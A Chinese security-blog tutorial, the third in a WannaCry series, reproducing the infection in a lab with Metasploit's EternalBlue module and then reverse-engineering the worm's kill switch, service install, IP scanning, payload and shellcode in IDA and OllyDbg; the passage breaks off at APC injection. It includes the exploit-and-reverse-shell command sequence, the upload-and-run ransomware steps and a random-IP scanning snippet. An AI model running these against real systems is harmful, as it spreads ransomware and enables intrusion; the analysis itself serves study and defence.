[系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向

左手的ㄟ右手 2022-11-05 13:54 449阅读 0赞

**您可能之前看到过我写的类似文章，为什么还要重复撰写呢？只是想更好地帮助初学者了解病毒逆向分析和系统安全，更加成体系且不破坏之前的系列。因此，我重新开设了这个专栏，准备系统整理和深入学习系统安全、逆向分析和恶意代码检测，“系统安全”系列文章会更加聚焦，更加系统，更加深入，也是作者的慢慢成长史。换专业确实挺难的，逆向分析也是块硬骨头，但我也试试，看看自己未来四年究竟能将它学到什么程度，漫漫长征路，偏向虎山行。享受过程，一起加油~**

前文分享了MSF利用MS17-010漏洞进行反弹Shell，再上传勒索病毒，复现了WannaCry勒索病毒。这篇文章作者将继续分析WannaCry勒索病毒，主要通过IDA和OD逆向分析蠕虫传播部分，详细讲解蠕虫是如何感染传播的。同时，由于作者技术真的菜，只能叙述自己摸索的过程，如果存在错误或不足之处，还望告知。希望这篇基础性文章对您有所帮助~

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center]

作者作为网络安全的小白，分享一些自学基础教程给大家，主要是关于安全工具和实践操作的在线笔记，希望您们喜欢。同时，更希望您能与我一起操作和进步，后续将深入学习网络安全和系统安全知识并分享相关实验。总之，希望该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！如果文章对您有帮助，将是我创作的最大动力，点赞、评论、私聊均可，一起加油喔~

### 文章目录 ###

*  一.WannaCry背景
 *  二.WannaCry实验复现
 *  三.WannaCry基础分析
 *  四.WannaCry传播机制详解
 *   *  1.WannaCry蠕虫传播步骤
     *  2.连接域名
     *  3.安装和启动mssecsvc2.0服务
     *  4.局域网和外网传播
     *  5.利用SMB漏洞
     *  6.Payload分析
     *  7.ShellCode提取
     *  8.APC注入
     *  9.释放勒索程序
 *  五.总结

**作者的github资源：**

*  WannaCry：[https://github.com/eastmountyxz/WannaCry-Experiment][https_github.com_eastmountyxz_WannaCry-Experiment]
 *  逆向分析：[https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis][https_github.com_eastmountyxz_SystemSecurity-ReverseAnalysis]
 *  网络安全：[https://github.com/eastmountyxz/NetworkSecuritySelf-study][https_github.com_eastmountyxz_NetworkSecuritySelf-study]

> 从2019年7月开始，我来到了一个陌生的专业——网络空间安全。初入安全领域，是非常痛苦和难受的，要学的东西太多、涉及面太广，但好在自己通过分享100篇“网络安全自学”系列文章，艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们，如果写得不好或不足之处，还请大家海涵！  
>   
> 接下来我将开启新的安全系列，叫“系统安全”，也是免费的100篇文章，作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等，也将通过在线笔记和实践操作的形式分享与博友们学习，希望能与您一起进步，加油~
> 
>  *  推荐前文：[网络安全自学篇系列-100篇][-100]

**前文分析：**

*  [\[系统安全\] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向][_.]
 *  [\[系统安全\] 二.如何学好逆向分析及吕布传游戏逆向案例][_. 1]
 *  [\[系统安全\] 三.IDA Pro反汇编工具初识及逆向工程解密实战][_.IDA Pro]
 *  [\[系统安全\] 四.OllyDbg动态分析工具基础用法及Crakeme逆向][_.OllyDbg_Crakeme]
 *  [\[系统安全\] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏][_.OllyDbg_Cheat Engine]
 *  [\[系统安全\] 六.逆向分析之条件语句和循环语句源码还原及流程控制][_. 2]
 *  [\[系统安全\] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向][_._PE_C_OllyDbg]
 *  [\[系统安全\] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击][_.Windows_CVE-2019-0708]
 *  [\[系统安全\] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权][_.Windows_MS08-067]
 *  [\[系统安全\] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现][_.Windows_SMBv3_CVE-2020-0796]
 *  [\[系统安全\] 十一.那些年的熊猫烧香及PE病毒行为机理分析][_._PE]
 *  [\[系统安全\] 十二.熊猫烧香病毒IDA和OD逆向分析（上）病毒初始化][_._IDA_OD]
 *  [\[系统安全\] 十三.熊猫烧香病毒IDA和OD逆向分析（中）病毒释放机理][_._IDA_OD 1]
 *  [\[系统安全\] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程（下）][_._IDA_OD 2]
 *  [\[系统安全\] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现][_.Chrome]
 *  [\[系统安全\] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)][_.PE_PE_PE_PE]
 *  [\[系统安全\] 十七.Windows PE病毒概念、分类及感染方式详解][_.Windows PE]
 *  [\[系统安全\] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)][_._WinRAR]
 *  [\[系统安全\] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析][_._APT28]
 *  [\[系统安全\] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解][_.PE_Signtool]
 *  [\[系统安全\] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法][_.PE_Signcode_PEView_010Editor_Asn1View]
 *  [\[系统安全\] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析][_.PE_CVE-2020-0601_Windows]
 *  [\[系统安全\] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析][_._OllyDbg_TraceMe]
 *  [\[系统安全\] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点][_._OllyDbg_INT3]
 *  [\[系统安全\] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密][_.WannaCry_ _1_Python]
 *  [\[系统安全\] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析][_.WannaCry_ _2_MS17-010]
 *  \[系统安全\] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向

> 声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。该样本不会分享给大家，分析工具会分享。（参考文献见后）

--------------------

# 一.WannaCry背景 #

> WannaCry应该称为蠕虫，而不是病毒，但大家习惯称其为WannaCry勒索病毒，这里提醒下。

2017年5月12日，WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发，感染大量的计算机。WannaCry勒索病毒全球大爆发，至少150个国家、30万名用户中招，造成损失达80亿美元，已影响金融、能源、医疗、教育等众多行业，造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件，由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”（永恒之蓝）进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限，该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统，只要开机上线，不需要用户进行任何操作，即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

![在这里插入图片描述][20200413232834492.png_pic_center]

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击，目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染，并作为攻击机再次扫描互联网和局域网的其他机器，行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe，运行后会扫描随机IP的互联网机器，尝试感染，也会扫描局域网相同网段的机器进行感染传播，此外会释放敲诈者程序tasksche.exe，对磁盘文件进行加密勒索。木马加密使用AES加密文件，并使用非对称加密算法RSA 2048加密随机密钥，每个文件使用一个随机密钥，理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。其核心流程如下图所示：

![在这里插入图片描述][20200427114613863.png_pic_center]

WannaCry勒索病毒主要行为是传播和勒索。

*  **传播**：利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
 *  **勒索**：释放文件，包括加密器、解密器、说明文件、语言文件等；内存加载加密器模块，加密执行类型文件，全部加密后启动解密器；解密器启动后，设置桌面背景显示勒索信息，弹出窗口显示付款账号和勒索信息

--------------------

# 二.WannaCry实验复现 #

**实验环境：**

*  攻击机：Kali-linux-2019.2 IP:192.168.44.138
 *  受害主机：Win7 64位 IP:192.168.44.147

**实验工具：**

*  metasploit
 *  MS17-010
 *  Wcry.exe

**实验步骤：**

*  配置Kali、Windows7实验环境
 *  Kali检测受害主机445端口（SMB协议）是否开启
 *  运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
 *  上传勒索病毒wcry.exe并运行
 *  实现勒索和文件加密

**切记、切记、切记：实验复现过程中必须在虚拟机中完成，运行之前关闭虚拟机Win7文件共享，真机上一旦被感染你就真的只能想哭了（wannacry）。同时，该实验比上一篇文章精简很多，更推荐该方法。**

**核心步骤：**

**(1) 利用永恒之蓝漏洞并设置参数**

*  use exploit/windows/smb/ms17\_010\_eternalblue  
    利用永恒之蓝漏洞
 *  set payload windows/x64/meterpreter/reverse\_tcp  
    设置payload
 *  set LHOST 192.168.44.138  
    设置本机IP地址
 *  set RHOSTS 192.168.44.147  
    设置受害主机IP
 *  set RPORT 445  
    设置端口445，注意该端口共享功能是高危漏洞端口，包括之前分享的139、3389等
 *  exploit  
    利用漏洞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 1]

**(2) 获取Win7系统管理员权限并上传勒索病毒**

*  getuid
 *  pwd、ls、shell
 *  upload /root/wcry.exe c:\\
 *  wcry.exe

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 2]

**(3) 成功完成勒索，系统文件被加密**  
运行病毒程序后的界面如下图所示，已经成功被勒索。再次强调，所有代码必须在虚拟机中执行，并且关闭文件共享。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 3]

加密系统中的文件，被加密的文件后缀名统一修改为“.WNCRY”。

*  b.wnry: 中招敲诈者后桌面壁纸
 *  c.wnry: 配置文件，包含洋葱域名、比特币地址、tor下载地址等
 *  f.wnry: 可免支付解密的文件列表
 *  r.wnry: 提示文件，包含中招提示信息
 *  s.wnry: zip文件，包含Tor客户端
 *  t.wnry: 测试文件
 *  u.wnry: 解密程序

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 4]

--------------------

# 三.WannaCry基础分析 #

接下来开始对WannaCry样本进行分析，恶意样本一定要在虚拟环境下做好保护措施再进行分析。通常拿到一个软件先试着运行软件，如果有帮助文档查阅帮助文档，熟悉软件的基本用法，接着尝试输入错误的注册码，观察错误提示。如果没有输入注册码的地方，要考虑是否是读取注册表或Key文件，这些可以用其他工具来辅助分析。

**第一步，调用PEiD检测程序是否加壳。**  
拿到一个样本，先调用查壳软件检查程序是否加壳（如PeiD、FI），有壳的需要脱壳之后再调用OllyDbg分析调试，无壳的直接调用工具调试。具体过程如下，该病毒使用VC6无壳编写的。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 5]

--------------------

**第二步，通过在线沙箱网站监测该病毒详情。**

*  病毒名称：Trojan-Ransom.Win32.Wanna.m
 *  所属家族：木马/勒索/蠕虫
 *  大小: 3514368 bytes
 *  修改时间: 2017年5月13日, 2:21:23
 *  MD5: DB349B97C37D22F5EA1D1841E3C89EB4
 *  SHA1: E889544AFF85FFAF8B0D0DA705105DEE7C97FE26
 *  CRC32: 9FBB1227

**方法一：visualtool上传文件在线监测**（[https://www.virustotal.com/gui/home][https_www.virustotal.com_gui_home]）

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 6]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 7]

**方法二：微步在线沙箱搜索MD5**（[https://s.threatbook.cn/][https_s.threatbook.cn]）

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 8]

多引擎监测信息如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 9]

行为签名信息如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 10]

静态信息如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 11]

--------------------

**第三步，我们将“.exe”修改为“.zip”可以看到更为详细的信息。**  
直接用资源工具看一下，发现是PK开头的，多半是个压缩文件了，导出来试试。样本的解压密码是WNcry@2ol7，通过资源工具也可以查看到。解压后的文件结构如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 12]

msg文件夹下就是所有的语言包。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 13]

其他文件内容如下，下一篇文章会详细介绍勒索原理。

--------------------

**第四步，推荐安全厂商及大佬分析报告。**

为了更好帮助读者，作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章，强烈推荐大家阅读，作者也吸取了它们的精华，在此感谢。

*  **安全厂商样本分析：**  
    \[1\] [安天针对勒索蠕虫“魔窟”（WannaCry）的深度分析报告][WannaCry]  
    \[2\] [\[分享\] 勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒安全][_WannaCry_ -]  
    \[3\] [WannaCry勒索病毒详细解读 - 腾讯电脑管家][WannaCry_ -]  
    \[4\] [NSA Eternalblue SMB 漏洞分析 - 360核心安全][NSA Eternalblue SMB _ - 360]  
    \[5\] [针对WannaRen勒索软件的梳理与分析 - 安天][WannaRen_ -]  
    \[6\] [【权威报告】WanaCrypt0r勒索蠕虫完全分析报告 - 360追日][WanaCrypt0r_ - 360]  
    \[7\] [WannaCry勒索病毒分析报告 - 瑞星][WannaCry_ - 1]
 *  **安全大佬样本分析：**  
    \[1\] [对WannaCry的深度分析 - 鬼手56（勒索部分详解）][WannaCry_ - _56]  
    \[2\] [\[原创\]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博][WannaCry_ - 2]  
    \[3\] [\[原创\]通过Wannacry分析内核shellcode注入dll技术 - dragonwang][Wannacry_shellcode_dll_ - dragonwang]  
    \[4\] [\[病毒分析\]WannaCry病毒分析(永恒之蓝) - 小彩虹][WannaCry_ - 3]  
    \[5\] [WannaCry勒索病毒逆向和内网传播数据分析 - sec360zz][WannaCry_ - sec360zz]  
    \[6\] [首发 | Wannacry勒索软件母体主程序逆向分析（含临时解决方案自动化工具）- expsky][_ Wannacry_- expsky]  
    \[7\] [\[原创\]WannaCry深度详细分析报告（很细很深）- anhkgg][WannaCry_- anhkgg]  
    \[8\] [https://github.com/rapid7/metasploit-framework][https_github.com_rapid7_metasploit-framework]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 14]

--------------------

# 四.WannaCry传播机制详解 #

WannaCry蠕虫主要分为两个部分：蠕虫部分用于病毒传播，并释放出勒索病毒；勒索部分用于加密用户文件索要赎金。大家可能看到的很多样本都是没有传播部分代码或域名开关的。接下来是作者一点点的摸索，希望对您有所帮助，也欢迎批评和指正。

## 1.WannaCry蠕虫传播步骤 ##

WannaCry运行的整体流程推荐安天公司的框架图，如下图所示：

*  主程序文件利用漏洞传播自身，运行WannaCry勒索程序
 *  WannaCry勒索程序释放tasksche.exe，对磁盘文件进行加密勒索
 *  @WanaDecryptor@.exe显示勒索信息，解密示例文件

![在这里插入图片描述][20200427113925721.png_pic_center]

其中，图中上半部分为WannaCry蠕虫的传播部分，该蠕虫通过网络进行传播，有自我复制和传播迅速等特点。传播步骤如下：

*  连接远程域名
 *  安装并启动服务
 *  建立局域网或公网IP表，为每个IP依次创建线程
 *  尝试连接445端口，测试是否存在SMB漏洞
 *  如果存在漏洞，则发送包含动态库的Payload进行攻击
 *  执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe
 *  dll调用导出函数PlayGame，释放资源文件并保存为mssecsvc.exe执行，释放勒索程序tasksche.exe
 *  被攻击计算机继续使用MS17-010漏洞进行传播

--------------------

## 2.连接域名 ##

接着在虚拟机中用IDA Pro打开勒索病毒wcry.exe，进行静态分析。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 15]

主程序运行后会先连接域名（KillSwitch）：hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

*  如果该域名连接成功，则直接退出且不触发任何恶意行为
 *  如果该域名无法访问，则触发传播勒索行为

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 16]

目前该域名已被英国的安全公司接管，代码如下图所示：

![在这里插入图片描述][20200427115202201.png_pic_center]

--------------------

## 3.安装和启动mssecsvc2.0服务 ##

如果该域名无法访问，则安装mssecsvc2.0服务，服务的二进制文件路径为当前进程文件路径，参数为“-m security”，并且伪装成微软安全中心服务。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 17]

接着启动mssecsvc2.0服务，网络传播行为需要以服务启动才会触发。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 18]

--------------------

## 4.局域网和外网传播 ##

蠕虫服务启动后，如果目标主机445端口开启，则会利用MS17-010漏洞传播，传播分为局域网传播和外网传播。

![在这里插入图片描述][2020042712105862.png_pic_center]

上图为火绒注释过版本，下图为作者利用IDA Pro分析原始wcry.exe的代码。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 19]

**(1) 局域网传播： 蠕虫根据用户内网IP，生成覆盖整个局域网网段表，然后循环依次尝试攻击。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 20]

定位函数sub\_407540如下。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 21]

样本会首先判断是否处于内网环境，如果处于内网中则尝试对内网主机进行感染，进行判断内网 I P 段分别是：

*  10.0.0.0 ~ 10.255.255.255
 *  172.16.0.0 ~ 172.31.255.255
 *  192.168.0.0 ~ 192.168.255.255

![在这里插入图片描述][20200427124346168.png_pic_center]

**(2) 公网传播：随机生成IP地址，尝试发送攻击代码。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 22]

随机生成公网IP，然后尝试连接445端口，判断是否可以利用SMB漏洞（MS17-010）。

![在这里插入图片描述][2020042712330948.png_pic_center]

下面给出一段安天的模拟IP代码，这段代码可供大家扫描IP使用。核心思想是通过随机数生成算法，生成4个随机数并拼接，再开线程进行漏洞利用。

from win32api import *
    import random
    import time
    random.seed(GetCurrentThreadId() + time.time() + GetTickCount())
    firstTick = GetTickCount()
    
    while True:
    	ip_1, ip_2, ip_3, ip_4 = 128, None, None, None
    	flag1, flag2 = None, None
    	while ip_1 == 128 or ip_1 >= 224:
    		ip_1 = random.randint(0, 255)
    		ip_2 = random.randint(0, 255)
    		ip_3 = random.randint(0, 255)
    		ip_4 = random.randint(0, 255)
    		time.sleep(1)
    		
     	while ip_4 <= 255:
     		print str(ip_1) + "." + str(ip_2) + "." + str(ip_3) + "." + str(ip_4)
     		ip_4 += 1

--------------------

## 5.利用SMB漏洞 ##

主机IP地址探测成功后，会利用SMB漏洞（MS17-010）发起攻击。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 23]

网络传播过程会建立Socket通信，并进行网络连接和传播。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 24]

--------------------

## 6.Payload分析 ##

**样本在利用漏洞MS17-010获取目标主机权限后，并不会直接发送蠕虫自身到目标，而是发送一段经过简单异或加密后的Payload到目标机器中执行。Payload由shellcode和包含样本自身的dll组成，Payload分为64位与32位。**

> Payload，中文“有效载荷”，指成功exploit之后，真正在目标系统执行的代码或指令。Shellcode，简单翻译“shell代码”，是Payload的一种，由于其建立正向/反向shell而得名。一个攻击代码发送的字节序列往往同时包含payload和shellcode代码。  
> 整个字节流一般包含两个部分：(1) 一个包含部分代码的字节序列，被送入目标计算机执行，辅助攻击机获得控制权，比如打开目标计算机上的端口或者建立一个通信信道。(2) 一个用于实现在目标主机上运行某个应用程序如cmd或者计算器（常用于poc–概念验证）等。

那么，如何定位shellcode的起始位置呢？

*  64位的Payload由长度为0x1800字节的shellcode与长度为0x50d800字节的dll组成，64位的shellcode部分截图如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 25]

*  32位的Payload由长度为0x1305字节的shellcode与长度为0x506000字节的dll组成，32位的shellcode部分截图如下：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 26]

Payload版本选择代码如下图所示：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 27]

**(1) 首先，需要读取Payload内容，其中64位大小为0xc8a4，32位大小为0x4060。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 28]

**(2) 调用sub\_4072A0函数建立通信连接。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 29]

**(3) 根据目标机器系统的不同，读取不同版本的代码部分，再获取样本自身进行拼接得到完整的dll。dll同样分为64位与32位版本，由代码与样本自身两部分组成。**

*  64位的dll文件（代码部分长度0xc8a4字节）：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 30]

*  32位的dll文件（代码部分长度0x4060）：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 31]

--------------------

## 7.ShellCode提取 ##

当IP地址和445端口开启确定后，需要利用SMB漏洞发送Payload。此时，Payload已经建立了通信连接，接下来需要提取ShellCode，这也是蠕虫传播干扰的核心部分，但也是最难的部分。作者至今也分析得不透彻，希望得到您的帮助，下面简单叙述当前的理解。

**看雪两位大佬说过：Wannacry的shellcode分三层，第一层的功能开一个后门，执行攻击者的后续命令；第二层、第三层一起完成注入dll的任务在执行其他操作。**

*  [\[原创\]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博][WannaCry_ - 2]
 *  [\[原创\]通过Wannacry分析内核shellcode注入dll技术 - dragonwang][Wannacry_shellcode_dll_ - dragonwang]

它们的调用位置如下图所示：

![在这里插入图片描述][2020042713072040.png_pic_center]

> 那么，怎么分析这些shellcode，如何在OD中提取机器码和连续的shellcode呢？如何定位Shellcode起始位置呢？感觉自己真的菜，求教~  
> 推荐作者github详细的WannaCry资源: [https://github.com/eastmountyxz/WannaCry-Experiment][https_github.com_eastmountyxz_WannaCry-Experiment]

第一种方法是通过IDA Pro定位shellcode位置，按C进行反汇编，如下图所示。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 32]

第二种方法是在OD中定位，输入结果却是建立通信的过程。Payload通常由分析函数、建立通信（Send\\Recv）、返回地址、shellcode组成，当漏洞触发时，该部分就是shellcode的起始位置，我们需要找到这个点。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 33]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 34]

我们想要的shellcode类似如下图所示，但作者能力有限，后面继续深入吧！

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 35]

同时，作者提供另一个思路，前面讲解了永恒之蓝利用，这里我们获取它的Payload利用代码，发现里面的shellcode，如下图所示：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 36]

然后复制这段shellcode代码至OD中，二进制粘贴，可以看到对应的汇编代码。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 37]

如下图所示：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 38]

--------------------

## 8.APC注入 ##

漏洞利用成功后，执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 39]

核心函数sub\_406F50如下图所示：

